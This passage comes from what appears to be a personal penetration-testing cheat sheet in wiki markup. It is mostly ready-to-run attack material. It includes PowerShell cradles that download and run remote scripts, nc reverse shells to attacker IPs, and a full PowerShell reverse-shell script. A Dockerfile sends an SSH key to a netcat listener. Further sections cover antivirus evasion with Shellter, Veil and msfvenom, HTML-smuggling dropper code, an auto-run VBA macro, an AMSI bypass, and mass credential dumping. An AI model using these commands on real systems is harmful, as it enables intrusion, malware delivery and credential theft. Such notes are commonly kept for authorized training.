p = proof(USERNAME, candidate.rstrip('\n'), SALT, CLIENT_NONCE, SERVER_NONCE, ITERATIONS)
if p == TARGET:
print('Password found: {}'.format(candidate.rstrip('\n')))
sys.exit(0)
print('Wordlist exhausted with no password found.')
</syntaxhighlight>

----

== 29819 - Windows IoT Core SirepServer ==

[https://github.com/SafeBreach-Labs/SirepRAT SirepRAT]

<syntaxhighlight lang="bash">
# Upload file - Example
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c powershell invoke-webrequest -o c:\windows\temp\nc.exe -uri http://10.10.14.12:9000/nc.exe'
# Execute command - Example
python3 SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args ' /c c:\windows\temp\nc.exe -e cmd 10.10.14.12 4444'
</syntaxhighlight>

----

== Active Directory/Windows ==

https://blog.aghanim.net/?p=2078

=== ASREPRoast ===

=== BloodHound ===

<syntaxhighlight lang="bash">
# Using bloodhound.py. Source https://github.com/fox-it/BloodHound.py.
# Allows you to collect data for BloodHound from a Linux system, OSX system, or Windows system that has Python installed on it.
python3 bloodhound.py -c All -d -u -p '' -ns
</syntaxhighlight>

<syntaxhighlight lang="bash">
# Start neo4j database
./neo4j console
# Start BloodHound
./BloodHound.bin --no-sandbox
</syntaxhighlight>

=== Curated list of commands ===

=== Dump hash ===

<syntaxhighlight lang="bash">
# If you have copied over C:\Windows\System32\config\SAM and C:\Windows\System32\config\SYSTEM to attacker machine, use this command to dump the hash.
usr/bin/impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
</syntaxhighlight>

=== Kerberoast ===

=== Pass The Hash ===

=== Password Spraying ===

<syntaxhighlight lang="bash">
crackmapexec smb -u users.txt -p passwords.txt
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
</syntaxhighlight>

=== PSEXEC.py, PSExec.exe, Evil-WinRM ===

<syntaxhighlight lang="bash">
python3 psexec.py test.local/john:password123@10.10.10.1
</syntaxhighlight>

<syntaxhighlight lang="bash">
# evil-winrm -u svc-alfresco -p 's3rvice' -i 10.10.10.161
</syntaxhighlight>

<syntaxhighlight lang="bash">
# From SysInternals
PsExec.exe -i -u domain\user cmd.exe
</syntaxhighlight>

=== Powershell commands ===

Running powershell x64, and running (IEX) the downloaded ps1 file.

<syntaxhighlight lang="powershell">
c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.17:9000/mini-reverse.ps1')
</syntaxhighlight>

Running Powershell on target with ExectionPolicy to bypass

<syntaxhighlight lang="powershell">
powershell.exe -nop -exec bypass
</syntaxhighlight>

Running PowerUp.ps1 on target machine

<syntaxhighlight lang="powershell">
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.17:9000/PowerUp.ps1');Invoke-AllChecks"
</syntaxhighlight>

Downloading SharpHound.exe on target machine

<syntaxhighlight lang="powershell">
(new-object System.Net.WebClient).DownloadFile('http://10.10.14.17:9000/SharpHound.exe', 'C:\Users\[...]\Desktop\SharpHound.exe')
# Execute SharpHound
./SharpHound.exe
</syntaxhighlight>

Running PowerView.ps1 on target machine

<syntaxhighlight lang="powershell">
IEX(New-Object Net.WebClient).downloadString('http://10.10.14.45:5555/PowerView.ps1')
</syntaxhighlight>

Running Nishangs Invoke-PowershellTCP

<syntaxhighlight lang="powershell">
powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.18:9000/shell.ps1')
</syntaxhighlight>

Use invoke webrequest and download script. With -UseBasicParsing. ''-UseBasicParsing - Indicates that the cmdlet uses the response object for HTML content without Document Object Model (DOM) parsing. This parameter is required when Internet Explorer is not installed on the computers, such as on a Server Core installation of a Windows Server operating system.''

<syntaxhighlight lang="powershell">
iex (iwr '10.10.14.9:9000/ipw.ps1') -UseBasicParsing
</syntaxhighlight>

Download a file and save it to location.

<syntaxhighlight lang="powershell">
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe
</syntaxhighlight>

Mini-reverseshell.ps1

<syntaxhighlight lang="powershell">
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
$res = ""
while($stream.DataAvailable -or $read -eq $null) {
$read = $stream.Read($buffer, 0, 1024)
}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$args = "";
if($out.IndexOf(' ') -gt -1){
$args = $out.substring($out.IndexOf(' ')+1);
$out = $out.substring(0,$out.IndexOf(' '));
if($args.split(' ').length -gt 1){
$pinfo = New-Object System.Diagnostics.ProcessStartInfo
$pinfo.FileName = "cmd.exe"
$pinfo.RedirectStandardError = $true
$pinfo.RedirectStandardOutput = $true
$pinfo.UseShellExecute = $false
$pinfo.Arguments = "/c $out $args"
$p = New-Object System.Diagnostics.Process
$p.StartInfo = $pinfo
$p.Start() | Out-Null
$p.WaitForExit()
$stdout = $p.StandardOutput.ReadToEnd()
$stderr = $p.StandardError.ReadToEnd()
if ($p.ExitCode -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
</syntaxhighlight>

Powershell location

<syntaxhighlight lang="bash">
# 64-bit Windows
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe
# 32-bit (x86) Windows
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
</syntaxhighlight>

=== User enumeration ===

<syntaxhighlight lang="bash">
./kerbrute_linux_amd64 userenum -d --dc usernames.txt
</syntaxhighlight>

----

== Ansible ==

[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]

<syntaxhighlight lang="bash">
# Run Ad-hoc command
ansible victims -a "whoami"
# Run ad-hoc command as root or other users
# If you don't specify user it will default to root.
ansible victims -a "whoami" --become

## Crack Ansible hash
# Notice the spaces between AES256 and 666...
cat test.yml >
$ANSIBLE_VAULT;1.1;AES256
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764
# Convert to readable hash
https://github.com/willstruggle/john/blob/master/ansible2john.py
python3 ansible2john.py test.yml > ansiblehash
cat ansiblehash >
$ansible$0*0*9661a952b5822af9a210...
# Crack the hash using john or hashcat
john ansiblehash
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt
# Decrypt vault
cat pw.txt >
$ANSIBLE_VAULT;1.1;AES256
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764
cat pw.txt | ansible-vault decrypt
# Use the pass cracked from john or hashcat
Vault password:
lab
# Run the playbook
ansible-playbook playbook.yml --vault-password-file=vault.txt
# OR
ansible-playbook playbook.yml --ask-vault-pass
</syntaxhighlight>

== Artifactory Jfrog ==

<syntaxhighlight lang="bash">
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide
</syntaxhighlight>

== Anti-Virus Evasion (Bypass) ==

[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]

PWK chapter 17

OSEP

=== Test payload against AV ===

https://virustotal.com (Don't use if you want you're payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.

https://antiscan.me

=== Theory ===

<syntaxhighlight lang="bash">
# On-Disk Evasion
- Packers
- Obfuscator
- Crypters
- Software protectors
# In-memory Evasion
- Remote Process Memory Injection
- Reflective DLL Injection
- Process Hollowing
- Inline hooking
</syntaxhighlight>

=== Shellter ===

Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.

It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.

The free version only works for x86, not x64.

<syntaxhighlight lang="bash">
# Install
sudo apt install shellter
apt install wine
# If error
dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32:i386
# Start
shellter
# Download a valid .exe file, ex spotify installer and load it into shellter.
/home/aghanim/downloads/SpotifySetup.exe
# Choose a payload from the list.
L
1
SET LHOST: IP
SET LPORT: PORT
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You'll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter "migrate".
set AutoRunScript post/windows/manage/migrate
-----------------------
# You can also set custom payload
# First generate a binary file with msfvenom. -e is the encoding we're using, and -i is the number of iterations. (The number of times to encode the payload)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw > met.bin
# Start shellter
Choose Operation Mode - Auto/Manual (A/M/H): A
PE Target: /home/kali/poultry/whoami.exe
**********
* Backup *
**********
Backup: Shellter_Backups\whoami.exe
...
Filtering Time Approx: 0.0024 mins.
Enable Stealth Mode? (Y/N/H): N
************
* Payloads *
************
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
Use a listed payload or custom? (L/C/H): C
Select Payload: /home/kali/poultry/met.bin
Is this payload a reflective DLL loader? (Y/N/H): N
****************
* Payload Info *
****************
...
Injection: Verified!
</syntaxhighlight>

[[File:2022-10-image-1.png|thumb]]

[[File:2022-10-image-2.png|thumb]]

=== Veil Framework ===

Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.

<syntaxhighlight lang="bash">
# Install
# https://github.com/Veil-Framework/Veil
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
# If error with (wine) python pip peefile version fix with this
vim /usr/share/veil/config/setup.sh
Change line 587 to:
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
Then, run # veil --setup again.

# Start veil
veil
# or
/usr/share/veil/Veil.py
# Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool

# Generate a powershell script (bat file) for evasion
veil > use evasion
# List payloads
veil > list
# Use powershell rev tcp payload
veil/evasion > use powershell/meterpreter/rev_tcp.py
# List options
[powershell/meterpreter/rev_tcp>>]: options
# Generate payload
[powershell/meterpreter/rev_tcp>>]: generate

# From pic below, payload is in /var/lib/veil/output/source/ folder
</syntaxhighlight>

[[File:2022-10-image-3.png|thumb]]

=== Ebowla ===

<syntaxhighlight lang="bash">
https://github.com/Genetic-Malware/Ebowla
# Use it to obfuscate payloads like JuicyPotato or other exploits.
# Quick demo
https://www.youtube.com/watch?v=rRm3O7w5GHg
</syntaxhighlight>

----

== API ==

[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]

<syntaxhighlight lang="bash">
# Need to have golang installed
apt-get install golang
# build the binary
make build
# symlink your binary
ln -s $(pwd)/dist/kr /usr/local/bin/kr
# compile the wordlist
# kr kb compile
kr kb compile routes.json routes.kite
# scan away
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053
</syntaxhighlight>

== Buffer overflow ==

https://blog.aghanim.net/?p=1932

----

== Browser exploits ==

=== Firefox ===

<syntaxhighlight lang="bash">
# Extract passwords from profile
https://github.com/unode/firefox_decrypt
</syntaxhighlight>

----

----

== Client-Side Code Execution ==

=== HTML Smuggeling ===

HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the
browser to automatically download a file when a user clicks the assigned hyperlink.
</pre>

In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.

<syntaxhighlight lang="bash">
# Generate a staged payload using msfvenom.
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe
# Saved it as base64 as to not lose any data.
base64 msfstaged.exe
</syntaxhighlight>

<syntaxhighlight lang="markup">

function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i
var file ="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA..."
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'msfstaged.exe';

var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);

</syntaxhighlight>

[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]

=== Microsoft Office Macro Client-side Attack ===

https://blog.aghanim.net/?page_id=1809#Microsoft_Word

==== Visual Basic for Applications [VBA] ====

<syntaxhighlight lang="visual">
'VBA Datatype
'Dim is used to declare variables
Dim myString As String # Unicode
Dim myLong As Long # 64-bit integer
Dim myPointer As LongPtr # Memory pointer
'Example - if and else statement
Sub MyMacro()
Dim myLong As Long
myLong = 1
If myLong < 5 Then
MsgBox ("True")
Else
MsgBox ("False")
End If
End Sub

'Example - Launch cmd.exe with a hidden window
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "cmd.exe"
Shell str, vbHide
End Sub
'The picture below show the cmd.exe running as a child process of winword.
</syntaxhighlight>

[[File:2023-02-image-1.png|thumb]]

----

== Certificate Types ==

{| class="wikitable"
|-
! Extension
! Full Name
! Contains
! Format
! Common Use
! Use Case
! Real-World Example
|-
| .cer
| Certificate
| Public key
| Usually in DER or PEM
| Sharing or installing public keys
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates
| Adding a trusted certificate in Windows to access a secure corporate intranet site
|-
| .pem
| Privacy Enhanced Mail
| Certificates and/or private keys
| Base64 encoded text (PEM)
| SSL certificates and private keys, commonly used in web servers
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security
|-
| .crt
| Certificate
| Public key
| Usually in PEM or DER
| Similar to .cer, used for certificates in web servers
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)
| Installing an SSL/TLS certificate from Let's Encrypt (.crt) to secure your website and enable HTTPS
|-
| .pfx
| Personal Information Exchange
| Private key and certificate (often password-protected)
| Binary (PFX)
| Bundling a private key with a certificate, used for importing/exporting certificates
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file
|-
| .key
| Private Key File
| Private key
| Text (usually PEM)
| Storing private keys for SSL certificates, often paired with .crt files
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate
| Using a .key file along with a .crt file to configure HTTPS for a website
|-
| .der
| Distinguished Encoding Rules
| Certificate or private key in binary
| Binary (DER)
| Storing certificates or private keys in binary format
| Used in environments where certificates or keys need to be in a compact, binary format
| Using a .der file to import a certificate in Windows or Java environments
|-
| .csr
| Certificate Signing Request
| Information about an entity requesting a certificate
| Text (usually PEM)
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)
| Generating a .csr to request an SSL/TLS certificate from a CA like Let's Encrypt
| Creating a .csr file to obtain an SSL certificate for your website
|-
| .p7b or .p7c
| PKCS#7 Certificate File
| Certificates in chain (no private key)
| Base64 or Binary
| Sharing a certificate chain
| Importing a full certificate chain in environments like Java keystores
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server
|-
| .jks
| Java KeyStore
| Private keys and certificates
| Binary (JKS)
| Storing certificates and private keys in Java environments
| Storing certificates and keys for Java-based applications like Tomcat
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat
|}

----

== Command and control - C2 framework ==

=== Covenant ===

<syntaxhighlight lang="bash">
# https://github.com/cobbr/Covenant
# Installation and running
git clone --recurse-submodules https://github.com/cobbr/Covenant
# Be sure to install the dotnet core version 3.1 SDK!
# Build and run convenant
$ ~ > git clone --recurse-submodules https://github.com/cobbr/Covenant
$ ~ > cd Covenant/Covenant
$ ~/Covenant/Covenant > dotnet run
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]
Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser
</syntaxhighlight>

=== Powershell-empire (And starkiller) ===

<syntaxhighlight lang="bash">
# https://github.com/EmpireProject/Empire
# Installation and running
sudo ./setup/install.sh
# Or
sudo apt install powershell-empire
# Starkiller
# https://github.com/BC-SECURITY/Starkiller
# Starkiller is a Frontend for Powershell Empire.
# Change the permissions
chmod a+x starkiller-.AppImage
# Then execute
./starkiller-.AppImage --no-sandbox
</syntaxhighlight>

=== Meterpreter ===

<syntaxhighlight lang="bash">
# Log location
~/.msf4/logs/framework.log
# DBMS used is postgresql.
# If IOError, check logs. If Postgresql, check the postgresql logs at:
/var/log/postgresql/...
# Initialize db
msfdb init # only if needed
# Metasploit location
/opt/metasploit-framework/embedded/framework/
</syntaxhighlight>

----

== Compiling exploits ==

=== Compile .asm to elf ===

<syntaxhighlight lang="bash">
nasm -f elf64 thm.asm
ld thm.o -o thm
./thm
THM,Rocks!
</syntaxhighlight>

=== Compile .cpp to .exe ===

<syntaxhighlight lang="bash">
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp
</syntaxhighlight>

=== Compile .cs to .exe ===

<syntaxhighlight lang="bash">
# Using csc
csc payload.cs
# Using mono - https://www.mono-project.com/
mcs payload.cs
</syntaxhighlight>

=== Compile .c to .exe ===

<syntaxhighlight lang="bash">
## Create 32-bit Windows executable with:
i686-w64-mingw32-gcc -o main32.exe main.c
## Create 64-bit Windows executable with:
x86_64-w64-mingw32-gcc -o main64.exe main.c
# Flags:
-lwsock32 and -lws2_32
# The -lwsock32 and -lws2_32 flags are linker flags used in programming to include the Winsock libraries for network programming on Windows. -lwsock32 includes the older version of the library, while -lws2_32 includes the updated version with additional features and improvements. These flags ensure that the necessary networking functions are available to the application during the linking stage of compilation.
</syntaxhighlight>

=== Compile .c in linux using --static ===

<syntaxhighlight lang="bash">
# The -static option links a program statically, in other words it does not require a dependency on dynamic libraries at runtime in order to run.
gcc 45010.c -o exploit --static

gcc 45010.c -o exploit -z execstack
# -z execstack: This option instructs the compiler to mark the resulting executable as having an executable stack. An executable stack means that the program can execute code stored on the stack, which can be a security risk if not handled carefully. This option is often used for specific purposes, like creating loader programs or certain types of shellcode.

-------------------------------
# If the above dont work, try this
gcc -o sh.elf sh.c -z execstack -static
upx --best --lzma -o shupx.elf ./sh.elf
</syntaxhighlight>

=== Compile .c to 32-bit windows ===

<syntaxhighlight lang="bash">
gcc exploit.c -m32 -o exploit
</syntaxhighlight>

----

== Docker - Privile Escalation ==

[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation]

=== Shell ===

This will create a docker image, that you can run and get a shell with

<syntaxhighlight lang="bash">
# Create a docker file
FROM alpine:latest
ENV WORKIDR /privesc
RUN mkdir -p $WORKDIR
VOLUME [ $WORKDIR]
WORKDIR $WORKDIR
# Build the docker container
docker build -t imagename .
# Now run the image with /bin/bash. -it means interactive and terminal
docker run -v /:/mountdir -it imagename /bin/bash
root@machine#
-----------------------------------------------
#List images to use one
docker images
#Run the image mounting the host disk and chroot on it
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash
# Get full access to the host via ns pid and nsenter cli
docker run -it --rm --pid=host --privileged ubuntu bash
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Get full privs in container without --privileged
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
</syntaxhighlight>

=== Exfiltrate data ===

See notes for Deployer

<syntaxhighlight lang="bash">
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80
shanah@deployer:/opt$ cat dockerfile
FROM alpine
COPY id_rsa.bak /tmp/id_rsa.bak
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80
# After running the below command, look at your netcat listener.
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .
</syntaxhighlight>

----

== Exec-Tools ==

=== CrackMapExec ===

<syntaxhighlight lang="bash">
https://wiki.porchetta.industries/
# READ MORE IN THE LINK ABOVE!!!!
# SMB commands
# Obtaining creds
# Require Domain Admin or Local Admin
# Dump SAM
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
## Dump LSA
crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
## Dump NTDS.dit
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds --users --enabled
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
## LPAS - If installed on the domain
crackmapexec smb -u user-can-read-laps -p pass --laps
# LDAP
## Dump gMSA
crackmapexec ldap -u -p --gmsa
## LAPS - If installed on the domain
crackmapexec ldap -u user-can-read-laps -p pass -M laps
## Extract gMSA secrets
crackmapexec ldap -u -p --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724
rackmapexec ldap -u -p --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000'
## List all PKI enrollment server
crackmapexec run ldap -u user -p pass -M adcs
## Extract subnet
crackmapexec ldap -u -p -M get-network
crackmapexec ldap -u -p -M get-network -o ONLY_HOSTS=true
crackmapexec ldap -u -p -M get-network -o ALL=true
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
</syntaxhighlight>

=== NetExec ===

<syntaxhighlight lang="bash">
# https://github.com/Pennyw0rth/NetExec
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.
# cheatsheet
https://www.netexec.wiki/
# General
netexec -u username -p password
# Using modules
# List available modules
nxc smb -L
# View module options
nxc smb -M lsassy --options
# Using Kerberos
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache
$ nxc smb zoro.gold.local --use-kcache
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami
# Send a local file to the remote target
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt
# Get a remote file on the remote target
nxc smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
# Read LAPS
nxc smb -u user-can-read-laps -p pass --laps
# Impersonate logged on user
# 1. Enumerate logged-on users on your Target
nxc smb -u -p --loggedon-users
# 2. Execute commands on behalf of other users
nxc smb -u -p -M schtask_as -o USER= CMD=
# Find Domain SID
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid
# Kerberoasting
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation
# Dump gMSA
$ nxc ldap -u -p --gmsa
# Bloodhound ingenstor
nxc ldap -u user -p pass --bloodhound -ns --collection All

</syntaxhighlight>

==== Meterpreter using Invoke-metasploitpayload.ps1 ====

<syntaxhighlight lang="bash">
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter
# Meterpreter
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.
# On your Metasploit instance, run the following commands
use exploit/multi/script/web_delivery
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script
set SRVHOST 10.211.55
set SRVPORT 8443
# The target variable determines what type of script we're using. 2 is for PowerShell
set target 2
# Pick your payload. In this case, we'll use a reverse https meterpreter payload
set payload windows/meterpreter/reverse_https
set LHOST 10.211.55
set LPORT 443
# Run the exploit
run -j
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.
msf exploit(web_delivery) > run -j
[*] Exploit running as background job.
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D
[*] Server started.
# Then just run the met_inject module and specify the LHOST and LPORT values:
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http
</syntaxhighlight>

=== PsMapExec ===

<syntaxhighlight lang="powershell">
# Cheathseet
https://viperone.gitbook.io/pentest-everything/psmapexec
https://github.com/The-Viper-One/PsMapExec
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.
# Load directly into memory and attempt to bypass AV
# Invoke-NETMongoose.ps1 is an AMSI bypass
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")

# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.
## Primarily these are:
### Kirby (PowerShell based Kerberos ticket dump)
### Invoke-Pandemonium (Slightly modified Mimikatz)

# Examples
# Execute WMI commands over all systems in the domain using password authentication
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command "net user"
# Execute WinRM commands over all systems in the domain using hash authentication
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command "net user"
# Check RDP Access against workstations in the domain
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP
# Dump SAM on all servers in the domain using SMB
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM
# Check SMB Signing on all domain systems
PsMapExec -Targets All -Method GenRelayList
# Dump LogonPasswords on all Domain Controllers over SMB
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords
</syntaxhighlight>

== GIT ==

See PG Hunit writeup

=== Download .git ===

<syntaxhighlight lang="bash">
mkdir
./gitdumper.sh /.git/
</syntaxhighlight>

=== Extract .git content ===

<syntaxhighlight lang="bash">
mkdir
./extractor.sh
</syntaxhighlight>

=== GIT basic commands ===

<syntaxhighlight lang="bash">
